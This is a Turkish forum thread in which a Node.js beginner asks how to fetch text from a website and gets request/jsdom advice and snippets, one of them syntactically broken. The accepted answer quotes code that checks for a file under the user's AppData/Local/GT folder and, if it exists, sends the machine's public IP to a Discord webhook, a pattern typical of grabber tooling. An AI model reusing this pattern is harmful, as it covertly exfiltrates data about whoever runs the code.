Çözüldü Node.JS ile siteden veri nasıl çekilir?

Bu konu çözüldü olarak işaretlenmiştir. Çözülmediğini düşünüyorsanız konuyu rapor edebilirsiniz.

behzat_c

Hectopat
Katılım
28 Kasım 2020
Mesajlar
998
Çözümler
6
Daha fazla  
Cinsiyet
Erkek
Merhabalar. Node.js ile x sitesindeki ilk satırdaki yazıyı çekmek istiyorum. Bunu nasıl yapabilirim? Teşekkürler.
 
Çözüm
Body tanımsız olduğu için öyle.
JavaScript:
const request = require("request");
const os = require("os");
const { Webhook, MessageBuilder } = require('discord-webhook-node');
const fs = require("fs");

request({
    url: "https://ipapi.co/ip/",
    method: "get",
}, (error, response, body) => {


    const path = `${os.homedir}/Appdata/Local/GT/bro.dat`
    const hook = new Webhook('')

    if (fs.existsSync(path))

        hook.send(body)



})

Amacınız ip adresini öğrenmek sanırım. Bunun için o kadar uğraşmaya gerek yok aslında.
Request ve jsdom modülleri ile yapabilirsin. Request ile istek atar site html kodunu alırsın (body), jsdom ile html kodunu document e çevirirsin ve html javascripti (window.document) ile istediğin elementi çekebilirsin.
 
Request ve jsdom modülleri ile yapabilirsin. Request ile istek atar site html kodunu alırsın (body), jsdom ile html kodunu document e çevirirsin ve html javascripti (window.document) ile istediğin elementi çekebilirsin.
Bugün başladım js'ye o yüzden dediğinin hiç birini anlamadım. 1 saattir araştırıyorum ama nedense hiç mantıklı değil. C#'ta kolayca tek satır kod ile veriyi çekebiliyorum. Garip
Bu siteden nasıl veriyi çekebilirim? Kodu verebilir misiniz acaba?
 
Ben html bir siteden veri çekiceksiniz sandım direk istek atıp body olarak çekebilirsiniz.
 
Sağolasın iyi güzelde. Kodu soruyorum ben hocam.
JavaScript:
const request = require("request");

request({
    url: "https://ipapi.co/ip/",
    method: "get"
}, error, response, body) => {
    console.log(body)
})

buyrun hocam.
 
JavaScript:
const request = require("request");
client.on('message',async message => {
  request({
    url: '',
    method: 'GET',
}, (error, response, body) => {
    if (!error) {
        bilgi = JSON.parse(body);
    } else {
        console.log(error);
    }
 

Yine hata.
 
Nerede gözükmesini istiyorsanız ${body. İnfo. Map} tarzında yazmanız gerekli.
 
Bu siteyi kullanmak için çerezler gereklidir. Siteyi kullanmaya devam etmek için çerezleri kabul etmelisiniz. Daha Fazlasını Öğren.…